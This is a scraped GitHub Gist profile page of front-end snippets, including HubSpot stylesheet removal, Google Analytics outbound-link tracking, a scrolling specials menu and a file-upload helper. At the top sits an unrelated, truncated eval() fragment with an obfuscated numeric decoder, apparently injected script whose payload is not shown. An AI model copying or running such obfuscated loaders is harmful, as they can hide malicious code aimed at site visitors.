Skip to content

Instantly share code, notes, and snippets.

View NickDeckerDevs's full-sized avatar

nicholas decker NickDeckerDevs

View GitHub Profile
< script >
eval((function() {
var d = [94, 74, 71, 90, 81, 86, 88, 85, 89, 75, 66, 82, 70, 76, 60, 79, 87, 72, 80, 65];
var e = [];
for (var b = 0; b < d.length; b++)
e[d[b]] = b + 1;
var q = [];
for (var a = 0; a < arguments.length; a++) {
@NickDeckerDevs
NickDeckerDevs / remove-loaded-css-file-from-page.js
Last active February 1, 2017 12:52
When doing growth driven design pages it is often difficult and time consuming to rework their entire structure. This script allows you to remove a css file using JS to remove all the styling in teh file. Not the best way to do it, but a nice hacky way to make it happen
var stylesheetUrl = 'http://cdn2.hubspot.net/hub/281759/hub_generated/style_manager/1400729881665/custom/page/css/brpt-dusk.min.css';
var extraStylesheetUrl = 'http://cdn2.hubspot.net/hub/281759/hub_generated/style_manager/1420258246895/custom/styles/default/hs_default_custom_style.min.css';
for ( i=0; i<document.styleSheets.length; i++) {
var url = document.styleSheets.item(i).href;
console.log(url)
if ( url == stylesheetUrl || url == extraStylesheetUrl ) {
void(document.styleSheets.item(i).disabled=true);
}
}
@NickDeckerDevs
NickDeckerDevs / outboundtracking.js
Last active October 18, 2018 13:52
Outbound link tracking - google analytics jquery / javascript
jQuery(document).ready(function($) {
var trackOutboundLink = function(url, category) {
// debugger;
ga('send', 'event', category, 'click', url, {
'transport': 'beacon',
'hitCallback': function() {
document.location = url;
}
});
}
equalheight = function (container) {
var maxHeight = 0;
jQuery(container).each(function() {
var elem = jQuery(this);
var currentHeight = elem.outerHeight();
console.log(currentHeight);
maxHeight = maxHeight < currentHeight ? currentHeight : maxHeight;
});
jQuery(container).css('height', maxHeight+'px');
}
@NickDeckerDevs
NickDeckerDevs / littles-special-menu.js
Created September 22, 2016 14:40
littles special scrolling menu that can be found: http://www.relittle.com/specials-events/
jQuery(document).ready(function($) {
var sections = getAllSpecialSections();
var activeMenuItem = window.location.hash;
var menuIsActive = activeMenuItem.indexOf('#') > -1 ? true : false;
jQuery('.specials-wrapper nav').html(getMenu(menuIsActive));
watchMenu();
});
.specials-wrapper {
nav {
margin-bottom: 40px;
position: relative;
ul.sidemenu {
position: relative;
width: 287px;
padding-top: 3em;
@media #{$tablet} {
width: 230px;
<div class="icon-third-container">
<div class="span4">
<div class="row-fluid">
<div class="span12">
<div class="icon-third-title green-background bg1">
<a href="/products/neutralization-tanks-systems-accessories">
<h3>Neutralization Tanks, Systems & Accessories</h3>
</a>
</div>
@NickDeckerDevs
NickDeckerDevs / upload-file-replaced.js
Created October 4, 2016 16:07
How to append the name of a file if you are replacing the normal functionality of a file upload button
$(window).load(function() {
$('input[type=file]').on('change', function() {
var filename = $(this).val().split('\\');
if($('#filename-information').length > 0) {
$('#filename-information').html('Selected File: '+filename[filename.length - 1]);
} else {
$(this).parent().append('<div id="filename-information">Selected File: '+filename[filename.length - 1]+'</div>');
}
});
});
@NickDeckerDevs
NickDeckerDevs / chapter wrapper - menu creator.html
Last active October 10, 2016 19:24
Using HUBL for hubspot
<div class="side-menu-wrapper">
<span class="nav-caption">{{ widget.navigation_caption }}:</span>
<nav>
<ul class="sidemenu"></ul>
</nav>
</div>
<script>